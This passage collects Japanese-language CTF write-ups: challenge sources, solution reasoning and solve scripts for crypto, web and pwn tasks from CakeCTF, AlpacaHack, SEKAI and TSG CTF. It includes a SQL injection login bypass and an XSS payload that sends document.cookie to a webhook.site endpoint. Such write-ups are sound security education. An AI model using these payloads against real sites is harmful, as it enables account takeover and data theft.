cipher = DES.new(key, DES.MODE_ECB)
return cipher.encrypt(pad(plaintext, 8))
if __name__ == '__main__':
key1 = os.urandom(8)
print(f"Key 1: {key1.hex()}")
key2 = bytes.fromhex(input("Key 2: "))
assert len(key1) == len(key2) == 8, "Invalid key size :("
assert len(set(key1).intersection(set(key2))) == 0, "Keys look similar :("
plaintext = b"The quick brown fox jumps over the lazy dog."
if encrypt(key1, plaintext) == encrypt(key2, plaintext):
print("[+] You found a collision!")
print(FLAG)
else:
print("[-] Nope.")
(バイト単位で) 異なる鍵で同じ暗号文を出力することが求められる。
DES について調べると 8 バイト = 64 ビットの鍵のうち 8 ビットは暗号化に使われないパリティビットらしい。1 バイトごとに最後のビットがパリティビットのようなのでそこだけ反転したものを鍵にする。
解答例
import pwn
conn = pwn.remote("34.170.146.252", 39720)
# conn = pwn.process(["python", "server.py"])
key1 = conn.recvline().replace(b"Key 1: ", b"").rstrip()
# http://www.arch.cs.kumamoto-u.ac.jp/~kuga/cad/crypt/des/
# parity bit を xor して変える
key2 = "%016x" % (int(key1, 16) ^ 0x0101010101010101)
conn.sendlineafter(b"Key 2: ", key2.encode())
assert conn.recvline() == b"[+] You found a collision!\n"
flag = conn.recvline()
print(f"{flag=}")

CakeCTF 2022 brand new crypto
task.py
from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os
flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()
def keygen():
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1)*(q-1)
while True:
a = getRandomRange(0, phi)
b = phi + 1 - a
s = getRandomRange(0, phi)
t = -s*a * inverse(b, phi) % phi
if GCD(b, phi) == 1:
break
return (s, t, n), (a, b, n)
def enc(m, k):
s, t, n = k
r = getRandomRange(0, n)
c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
return m * pow(r, s, n) % n, m * pow(r, t, n) % n
def dec(c1, c2, k):
a, b, n = k
return pow(c1, a, n) * pow(c2, b, n) % n
pubkey, privkey = keygen()
c = []
for m in flag:
c1, c2 = enc(m, pubkey)
assert dec(c1, c2, privkey)
c.append((c1, c2))
print(pubkey)
print(c)
公開鍵を s, t として、平文 m をバイト単位で
c_1 := m r^s \pmod{n} c_2 := m r^t \pmod{n}
と暗号化している。r はランダム。
r が消えるように
解答例
s, t, n = (44457996541109264543284111178082553410419033332933855029363322091957710753242917508747882680709132255025509848204006030686617307316137416397450494573423244830052462483843567537344210991076324207515569278270648840208766149246779012496534431346275624249119115743590926999300158062187114503770514228292645532889, 75622462740705359579857266531198198929612563464817955054875685655358744782391371293388270063132474250597500914288453906887121012643294580694372006205578418907575162795883743494713767823237535100775877335627557578951318120871174260688499833942391274431491217435762560130588830786154386756534628356395133427386, 91233708289497879320704164937114724540200575521246085087047537708894670866471897157920582191400650150220814107207066041052113610311730091821182442842666316994964015355215462897608933791331415549840187109084103453994140639503367448406813551512209985221908363575016455506188206133500417002509674392650575098359)
cs = [
(45407329054347031671462943733352990423405785239871852919766388653716380674478315503174214528590036701783624146580550794165374415239306839525663023158300526837557014080909086170028906592103649042424746066914113525159948460918940298801848524927126031315219782495938440479872531059016544239798079080583435425272, 53803936997086552930627817379668506302893396793752623708360134917132605596928214528571105049705120619752149234071083180369925875862051592731789425096964405472100251718476911662256938722325188400861316756367788140688700177508892203256571533937287519223938863342057635289100232219250241102383398900866693695652),
(43655057390335874506424383722663749879268247658758301232763211203219034349589651957189919237836443955915188039020164771364408742547530334210779314381716283732476569324383808908588686811442984537157164133686423953400300793137466630580146269650901652256761231520608826151296619038805828021253934922305783052068, 22233195992702924578524207396162236484139847008812639391463164055567886910452393492091463760246536738125831803192662206571576172793920367252270085750654989763310242365985521455667232114869169344954690807107158884655752698402756382223555567145081598370775906153285079937174531239253543407433367582200836610175),
# ...
# 長いので省略
]
flag = ""
for c1, c2 in cs:
# c1^t / c2^s = m^(t-s)
x = pow(c1, t, n) * pow(c2, -s, n) % n
f = None
for m in range(256):
if pow(m, t - s, n) == x:
assert f is None
f = m
assert f is not None
flag += chr(f)
print(flag)

CakeCTF 2022 frozen cake
task.py
from Crypto.Util.number import getPrime
import os
flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
m = int(flag.encode().hex(), 16)
p = getPrime(512)
q = getPrime(512)
n = p*q
print("n =", n)
print("a =", pow(m, p, n))
print("b =", pow(m, q, n))
print("c =", pow(m, n, n))
n, a, b, c が与えられる。
n := pq a := m^p \pmod{n} b := m^q \pmod{n} c := m^n \pmod{n}
オイラーの定理から
解答例
n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549
m = (a * b * pow(c, -1, n)) % n
flag = bytes.fromhex(hex(m)[2:])
print(flag)

Alpaca Hack Round 2 Simple Login
app.py
from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os
def db():
return pymysql.connect(
host=os.environ["MYSQL_HOST"],
user=os.environ["MYSQL_USER"],
password=os.environ["MYSQL_PASSWORD"],
database=os.environ["MYSQL_DATABASE"],
charset="utf8mb4",
cursorclass=pymysql.cursors.DictCursor,
)
app = Flask(__name__)
@app.get("/")
def index():
if "username" not in request.cookies:
return redirect("/login")
return render_template("index.html", username=request.cookies["username"])
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username is None or password is None:
return "Missing required parameters", 400
if len(username) > 64 or len(password) > 64:
return "Too long parameters", 400
if "'" in username or "'" in password:
return "Do not try SQL injection 🤗", 400
conn = None
try:
conn = db()
with conn.cursor() as cursor:
cursor.execute(
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)
user = cursor.fetchone()
except Exception as e:
return f"Error: {e}", 500
finally:
if conn is not None:
conn.close()
if user is None or "username" not in user:
return "No user", 400
response = redirect("/")
response.set_cookie("username", user["username"])
return response
else:
return render_template("login.html")
ユーザー入力の username, password でクエリを組み立てているところを狙えそう。
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
username にシングルクォートを含めると「Do not try SQL injection 🤗」で弾かれる。
バックスラッシュ \
を付けて {username} 終わりのシングルクォートをエスケープしよう。{password} 始まりのシングルクォートまでを username = '...'
が消費してくれる。
SELECT * FROM users WHERE username = 'uuuu\' AND password = '{password}'
-- ^^^^^^^^^^^^^^^^^^^^^^
あとは password のプレースホルダーに、flag テーブルからフラグを SELECT する SQL を書くと解ける。
解答例
form = new FormData();
form.append("username", "\\");
form.append("password", " UNION ALL SELECT value, NULL FROM flag -- ");
resp = await fetch("/login", { method: "POST", body: form });
await resp.text();

Project SEKAI CTF 2024 Tagless
<script>
などのタグは sanitizeInput
で消されるのでタグなしで JavaScript を実行したい。
タグを閉じなくても良い具合に補完してくれる。しかし JavaScript URL は CSP で弾かれるので動かない。
[GET] /?auto_input=<iframe src="javascript:alert(123)"
=> Refused to run the JavaScript URL because it violates the following Content Security Policy directive: "script-src 'self'".
Not Found ページはパスの文字列をほぼそのまま返している。このページを JavaScript とみなして読み込もう。CSP は script-src: 'self' になっているので問題なく実行できる。
完全なタグが出てこないように >
→ %26gt;
などの変換をしておく。
[GET] /?auto_input=<iframe%20srcdoc="<script%20src=%27/**/alert(123)//%27%26gt;<%2Fscript%26gt;"
alert(123)
の部分を外部に cookie 送信するコードに変えて完成。
解答例
form = new FormData();
form.append(
"url",
// http://127.0.0.1:5000/?auto_input=<iframe srcdoc="<script src='/**/navigator.sendBeacon(`https://webhook.site/xxxxxx/`,document.cookie)//'></script>"
"http://127.0.0.1:5000/?auto_input=<iframe%20srcdoc=%22<script%20src=%27/**/navigator.sendBeacon(%60https://webhook.site/xxxxxx/%60,document.cookie)//%27%26gt;</script%26gt;%22")
)
await fetch("/report", { method: "POST", body: form });
iframe 使わずにこういう方針でもいけた。
何に使うんだろうと思っていた fulldisplay パラメータが活きる。これを付けると別タブで開くので <script src="..."
の読み込みがおこなわれるようだった。
[GET] /?fulldisplay=1&auto_input=<script src="/**/alert(123)//"

TSG CTF 2024 Password-Ate-Quiz
https://score.ctf.tsg.ne.jp/challenges
chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void crypting(long long* secret, size_t len, long long key) {
for (int i = 0; i < (len - 1) / 8 + 1; i++) {
secret[i] = secret[i] ^ key;
}
}
void output_flag() {
char flag[100];
FILE *fd = fopen("./flag.txt", "r");
if (fd == NULL) {
puts("Could not open \"flag.txt\"");
exit(1);
}
fscanf(fd, "%99s", flag);
printf("%s\n", flag);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
char password[0x20];
char input[0x20];
srand(time(0));
long long key = ((long long)rand() << 32) | rand();
FILE *fd = fopen("password.txt", "r");
if (fd == NULL) {
puts("Could not open \"password.txt\"");
exit(1);
}
fscanf(fd, "%31s", password);
size_t length = strlen(password);
crypting((long long*)password, 0x20, key);
printf("Enter the password > ");
scanf("%31s", input);
crypting((long long*)input, 0x20, key);
if (memcmp(password, input, length + 1) == 0) {
puts("OK! Here's the flag!");
output_flag();
exit(0);
}
puts("Authentication failed.");
puts("You can get some hints.");
while (1) {
int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
for (int i = 0; i < 8; i++) {
putchar(hints[idx][i]);
}
puts("");
} else {
break;
}
}
while (getchar()!='\n');
printf("Enter the password > ");
scanf("%31s", input);
crypting((long long*)input, 0x20, key);
if (memcmp(password, input, length + 1) == 0) {
puts("OK! Here's the flag!");
output_flag();
} else {
puts("Authentication failed.");
}
return 0;
}
password.txt に書かれた文字列を入力するとフラグを得られるという問題。
password.txt は秘密だけど変数 password
はスタックにある。gdb を使うと「Enter a hint number (0~2) > 」に 4, 5, 6, 7 を入れるとパスワードを 8 バイトずつ読みとれることが分かる。
しかし、このパスワードは crypting
で暗号化された値。暗号化の処理は、実行時にランダムに決める 64 ビット整数のキーと xor するもの。
このキーを求めよう。スタックには password
の他にこちらが入力した文字列を持つ input
もあり、これも暗号化された値を知れる。手元には暗号化前後の input
の値があるので 8 バイト取りだして xor するとキーが分かる。
キーを得られたのでパスワードを復号して送信するとフラグを得られた。
解答例
import pwn
conn = pwn.remote("34.146.186.1", 41778)
# conn = pwn.process("./chall")
conn.sendlineafter(b"Enter the password > ", b"\x00" * 31)
conn.recvuntil(b"Enter a hint number (0~2) > ")
enc_password = []
for i in range(4, 8):
conn.sendline(str(i).encode())
# 途中で b"\n" が来ることがあるので recvline() だとダメ
enc_password.append(conn.recvuntil(b"\nEnter a hint number (0~2) > ", drop=True))
enc_input = []
for i in range(8, 12):
conn.sendline(str(i).encode())
enc_input.append(conn.recvuntil(b"\nEnter a hint number (0~2) > ", drop=True))
conn.sendline(b"-1")
key = int.from_bytes(enc_input[0])
# key = int.from_bytes(enc_input[0]) ^ int.from_bytes(b"\x00" * 8)
password = []
for e in enc_password:
password.append((int.from_bytes(e) ^ key).to_bytes(8))
# 末尾に b"\x00" があるとフラグが出てこないので削除
conn.sendlineafter(b"Enter the password > ", b"".join(password).rstrip(b"\x00"))
flag = conn.recvall()
print(flag)
conn.close()

AlpacaHack Round 11 Jackpot
app.py
from flask import Flask, request, render_template, jsonify
from werkzeug.exceptions import BadRequest, HTTPException
import os, re, random, json
app = Flask(__name__)
FLAG = os.getenv("FLAG", "Alpaca{dummy}")
def validate(value: str | None) -> list[int]:
if value is None:
raise BadRequest("Missing parameter")
if not re.fullmatch(r"\d+", value):
raise BadRequest("Not decimal digits")
if len(value) < 10:
raise BadRequest("Too little candidates")
candidates = list(value)[:10]
if len(candidates) != len(set(candidates)):
raise BadRequest("Not unique")
return [int(x) for x in candidates]
@app.get("/")
def index():
return render_template("index.html")
@app.get("/slot")
def slot():
candidates = validate(request.args.get("candidates"))
num = 15
results = random.choices(candidates, k=num)
is_jackpot = results == [7] * num # 777777777777777
return jsonify(
{
"code": 200,
"results": results,
"isJackpot": is_jackpot,
"flag": FLAG if is_jackpot else None,
}
)
@app.errorhandler(HTTPException)
def handle_exception(e):
response = e.get_response()
response.data = json.dumps({"code": e.code, "description": e.description})
response.content_type = "application/json"
return response
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=3000)
スロットで 15 個の 7 を揃える問題。
抽選候補として placeholder にある "0123456789" を与えると 7 が揃う確率が 1e-15 ととても小さくなり現実的でない。"7777777777" だとそれぞれの数字が unique でないということで validate
でエラーになる。
正規表現 \d
にマッチして int(x) = 7
になるような x
が x = '7'
以外にたくさんあれば抽選候補を全部 7 にできて確実に 15 個揃えられる。Unicode を検索すると U+0667 など色々と見つかったのでこれらを使うと良い。 https://unicodeplus.com/search?q=seven
解答例
import requests
candidates = "".join(
[
"\u0037",
"\u0667",
"\u06f7",
"\u07c7",
"\u096d",
"\u09ed",
"\u0a6d",
"\u0aed",
"\u0b6d",
"\u0bed",
]
)
resp = requests.get(
url="http://34.170.146.252:33352/slot", params={"candidates": candidates}
)
print(resp.json()) # {'flag': '...'}

AlpacaHack Round 12 RSARSARSARSARSARSA
chall.py
from math import gcd
import os
from Crypto.Util.number import getPrime, bytes_to_long
e = 19
while True:
p = getPrime(2048)
q = getPrime(2048)
if gcd((p - 1) * (q - 1), e) == 1:
break
n = p * q
flag = os.environ.get("FLAG", "Alpaca{**** REDACTED ****}")
assert len(flag) == 26 and flag.startswith("Alpaca{") and flag.endswith("}")
m = bytes_to_long((flag * 1337).encode())
c = pow(m, e, n)
print(f"{n = }")
print(f"{e = }")
print(f"{c = }")
flag を 1337 回連結した文字列 m を暗号化している。
たとえば flag = "ABC" = 0x414243 を 3 回連結すると 0x414243414243414243 になる。これは次の 3 つの和なので m は 0x414243 × ■ の形で書ける。
0x414243000000000000
0x000000414243000000
0x000000000000414243
m を e 乗した値 c が与えられているので、そこから flag の e 乗を c / ■^e と計算できる。e 乗根を二分探索して flag を得られた。
解答例
from math import gcd
from Crypto.Util.number import inverse, long_to_bytes
n = 434245275129793896913302623186216967500119715299127153234221039838158526818290666891561167619572507897277032319251523352710966722158326513857889678449160348496647427753832233179173745189495799707833020232209447520485615893168704144655033371807912826948460011240258726843346618328839282439390863464375320181495406806870462330735361196286553150480225927729088313551861682406252457739974850015509783430978939475350707211461876140420181118923743456062581297038004651412953310377554877499792225388059857865550418697212704277742826280689987165702071346542831836616149138379224837551040036947064990027047482745931141458056028719767845142490618375017582275824317241572815337810658684051187938258804346960781372035972758516593800419459342799854863845667715099378564373594732798224797622583907677749880918106223965727445907355069025939554400938193579295415911074889648122298896605189398591684277376327938718166279159875826993866460251900514487349848332991005775574378131897581182876147580659857596204121970624162722935263271888969020482566142620134100258216288390250174699829806817678453601913377347867137739622906815272561714188564065071077762169177825466514512198167566882661748389120146622447920498988341055543170346944366105037929197965527
e = 19
c = 78338816976998323261765735600063671710448529902850366859501110834174319629348492230679353792803618614020892663940158627385470036549819116375194598599193512981265682997072278631964394686243958989105159463105190885437258093111178664394786430767942639437287236999171486583513816766766869843448941665224796216610702708658300011987744401747551989248270799179750556330952646223694000679475842632497149402602469848595868051660228892506097962300820851000134370939783634534516434054009303981106884637932006844265722691022870174977860945699441650254771777451995160642261482879537396171107016491225773397809485749640163676209732235156461483660111845782227127763086286553520914359194795617080980736767821995556156173267185240945707717461037831992544868933876015548419376861213017988005848033349136839971120363078490938026883354839573512645985195570831018461470031329716026531550172207332072481279548470657090575709419245114386419567236219816237412255505882075283974654569995321334498673793010812162088796252555619242463561750801895032793870706949913548310632113206159695535952422316840587214237406730422405058644629458566515378607614900910335034732797410592671297941526063690060922625005949094383664832255082556088451940780657576420871470920836
L = 26 # = len(flag)
K = 1337
# M = bytes_to_long(flag.encode())
# M ** e = c / (sum(...) ** e)
s = sum([256 ** (L * i) for i in range(K)])
assert gcd(s ** e, n) == 1
M_e = c * inverse(s ** e, n) % n
low, high = 0, 256 ** L
assert M_e < high ** e
while low + 1 < high:
mid = (low + high) // 2
if M_e < mid ** e:
high = mid
else:
low = mid
assert M_e == low ** e
flag = long_to_bytes(low)
print(f"{flag = }")